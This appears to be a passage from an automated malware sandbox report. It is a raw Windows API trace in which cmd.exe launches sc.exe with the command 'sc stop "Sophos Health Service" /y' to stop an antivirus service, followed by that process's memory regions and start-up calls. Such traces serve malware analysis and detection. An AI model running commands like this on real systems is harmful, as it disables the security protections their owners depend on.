lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.321] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.321] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0061.321] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0061.321] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0061.321] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0061.321] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0061.321] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0061.321] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0061.321] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0061.321] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0061.321] GetEnvironmentStringsW () returned 0x752b40* [0061.322] FreeEnvironmentStringsW (penv=0x752b40) returned 1 [0061.322] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.322] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.322] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0061.322] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0061.322] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0061.322] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0061.322] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0061.322] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0061.322] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0061.322] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0061.322] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3ff6b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3ff6b0, lpFilePart=0x3ff6ac | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ff6ac*="Desktop") returned 0x25 [0061.322] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0061.322] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ff42c | out: lpFindFileData=0x3ff42c) returned 0x751dd8 [0061.322] FindClose (in: hFindFile=0x751dd8 | out: hFindFile=0x751dd8) returned 1 [0061.322] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ff42c | out: lpFindFileData=0x3ff42c) returned 0x751dd8 [0061.322] FindClose (in: hFindFile=0x751dd8 | out: hFindFile=0x751dd8) returned 1 [0061.322] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0061.322] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ff42c | out: lpFindFileData=0x3ff42c) returned 0x751dd8 [0061.322] FindClose (in: hFindFile=0x751dd8 | out: hFindFile=0x751dd8) returned 1 [0061.323] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0061.323] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0061.323] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0061.323] GetEnvironmentStringsW () returned 0x752b40* [0061.323] FreeEnvironmentStringsW (penv=0x752b40) returned 1 [0061.323] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acc5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.323] GetConsoleOutputCP () returned 0x1b5 [0061.323] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acc4260 | out: lpCPInfo=0x4acc4260) returned 1 [0061.323] GetUserDefaultLCID () returned 0x409 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4acc4950, cchData=8 | out: lpLCData=":") returned 2 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3ff7f0, cchData=128 | out: lpLCData="0") returned 2 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3ff7f0, cchData=128 | out: lpLCData="0") returned 2 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3ff7f0, cchData=128 | out: lpLCData="1") returned 2 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4acc4940, cchData=8 | out: lpLCData="/") returned 2 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4acc4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4acc4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4acc4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4acc4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4acc4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4acc4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4acc4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4acc4930, cchData=8 | out: lpLCData=".") returned 2 [0061.324] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4acc4920, cchData=8 | out: lpLCData=",") returned 2 [0061.325] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0061.325] GetConsoleTitleW (in: lpConsoleTitle=0x755920, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.326] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0061.326] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0061.326] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0061.326] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0061.327] _wcsicmp (_String1="sc", _String2=")") returned 74 [0061.327] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0061.327] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0061.327] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0061.327] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0061.327] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0061.327] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0061.328] GetConsoleTitleW (in: lpConsoleTitle=0x3ff4e8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.329] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0061.329] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0061.329] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0061.329] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0061.329] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0061.329] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0061.329] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0061.329] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0061.329] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0061.329] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0061.329] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0061.329] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0061.329] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0061.329] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0061.329] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0061.329] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0061.329] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0061.329] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0061.329] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0061.329] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0061.329] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0061.329] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0061.329] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0061.329] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0061.329] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0061.329] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0061.329] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0061.329] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0061.329] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0061.329] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0061.329] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0061.329] _wcsicmp (_String1="sc", _String2="START") returned -17 [0061.329] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0061.330] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0061.330] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0061.330] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0061.330] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0061.330] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0061.330] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0061.330] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0061.330] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0061.330] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0061.330] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0061.330] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0061.330] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0061.330] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0061.330] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0061.330] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0061.330] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0061.330] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0061.330] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0061.330] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0061.330] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0061.330] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0061.330] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0061.330] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0061.330] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0061.330] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0061.330] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0061.330] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0061.330] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0061.330] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0061.330] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0061.330] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0061.330] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0061.330] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0061.330] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0061.330] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0061.330] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0061.330] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0061.330] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0061.330] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0061.330] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0061.330] _wcsicmp (_String1="sc", _String2="START") returned -17 [0061.330] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0061.330] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0061.331] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0061.331] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0061.331] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0061.331] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0061.331] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0061.331] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0061.331] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0061.331] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0061.331] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0061.331] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0061.331] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0061.331] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0061.331] SetErrorMode (uMode=0x0) returned 0x0 [0061.331] SetErrorMode (uMode=0x1) returned 0x0 [0061.331] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x755e68, lpFilePart=0x3ff008 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ff008*="Desktop") returned 0x25 [0061.331] SetErrorMode (uMode=0x0) returned 0x1 [0061.331] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0061.331] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0061.337] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acd0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.338] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ff104, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ff1cc | out: lpAttributeList=0x3ff104, lpSize=0x3ff1cc) returned 1 [0061.338] UpdateProcThreadAttribute (in: lpAttributeList=0x3ff104, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ff1c4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ff104, lpPreviousValue=0x0) returned 1 [0061.338] GetStartupInfoW (in: lpStartupInfo=0x3ff0c0 | out: lpStartupInfo=0x3ff0c0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x7419d6, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0061.338] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0061.339] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Sophos Health Service\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3ff160*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Sophos Health Service\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ff1ac | out: lpCommandLine="sc stop \"Sophos Health Service\" /y", lpProcessInformation=0x3ff1ac*(hProcess=0x7c, hThread=0x78, dwProcessId=0x8d8, dwThreadId=0x900)) returned 1 [0061.344] CloseHandle (hObject=0x78) returned 1 [0061.344] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0061.344] GetEnvironmentStringsW () returned 0x754de0* [0061.345] FreeEnvironmentStringsW (penv=0x754de0) returned 1 [0061.345] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0061.392] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x3ff0a0 | out: lpExitCode=0x3ff0a0*=0x424) returned 1 [0061.392] CloseHandle (hObject=0x7c) returned 1 [0061.393] _vsnwprintf (in: _Buffer=0x3ff1e8, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ff0ac | out: _Buffer="00000424") returned 8 [0061.393] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0061.393] GetEnvironmentStringsW () returned 0x7561b0* [0061.393] FreeEnvironmentStringsW (penv=0x7561b0) returned 1 [0061.393] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0061.393] GetEnvironmentStringsW () returned 0x7561b0* [0061.393] FreeEnvironmentStringsW (penv=0x7561b0) returned 1 [0061.393] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ff104 | out: lpAttributeList=0x3ff104) [0061.393] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.393] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.393] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.393] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4acc41ac | out: lpMode=0x4acc41ac) returned 1 [0061.393] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.393] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4acc41b0 | out: lpMode=0x4acc41b0) returned 1 [0061.394] SetConsoleInputExeNameW () returned 0x1 [0061.394] GetConsoleOutputCP () returned 0x1b5 [0061.394] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acc4260 | out: lpCPInfo=0x4acc4260) returned 1 [0061.394] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.394] exit (_Code=1060) Process: id = "55" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x1d896000" os_pid = "0x8d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "54" os_parent_pid = "0x8cc" cmd_line = "sc stop \"Sophos Health Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3447 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3448 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3449 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3450 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3451 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3452 start_va = 0xf0000 end_va = 0xfbfff entry_point = 0xf0000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 3453 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3454 start_va = 0x250000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3455 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3456 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3457 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3458 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3459 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3460 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3461 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3462 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3463 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3464 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3465 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3466 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3467 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3468 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3469 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3470 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3471 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3472 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3473 start_va = 0x120000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3474 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3475 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3476 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3477 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3478 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3479 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3480 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3481 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3482 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3483 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3484 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3485 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3486 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3487 start_va = 0x400000 end_va = 0x4bffff entry_point = 0x400000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3488 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x100000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 141 os_tid = 0x900 [0061.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fc94 | out: lpSystemTimeAsFileTime=0x24fc94*(dwLowDateTime=0xdf64d360, dwHighDateTime=0x1d4abdd)) [0061.377] GetCurrentProcessId () returned 0x8d8 [0061.377] GetCurrentThreadId () returned 0x900 [0061.377] GetTickCount () returned 0x1cc53 [0061.377] QueryPerformanceCounter (in: lpPerformanceCount=0x24fc8c | out: lpPerformanceCount=0x24fc8c*=1813660700000) returned 1 [0061.378] GetModuleHandleA (lpModuleName=0x0) returned 0xf0000 [0061.378] __set_app_type (_Type=0x1) [0061.378] __p__fmode () returned 0x75ed31f4 [0061.378] __p__commode () returned 0x75ed31fc [0061.378] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xf79c7) returned 0x0 [0061.378] __wgetmainargs (in: _Argc=0xf9020, _Argv=0xf9028, _Env=0xf9024, _DoWildCard=0, _StartInfo=0xf9034 | out: _Argc=0xf9020, _Argv=0xf9028, _Env=0xf9024) returned 0 [0061.378] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.381] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.381] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0061.381] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0061.381] _wcsicmp (_String1="stop", _String2="query") returned 2 [0061.381] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0061.381] _wcsicmp (_String1="stop", _String2="start") returned 14 [0061.381] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0061.381] 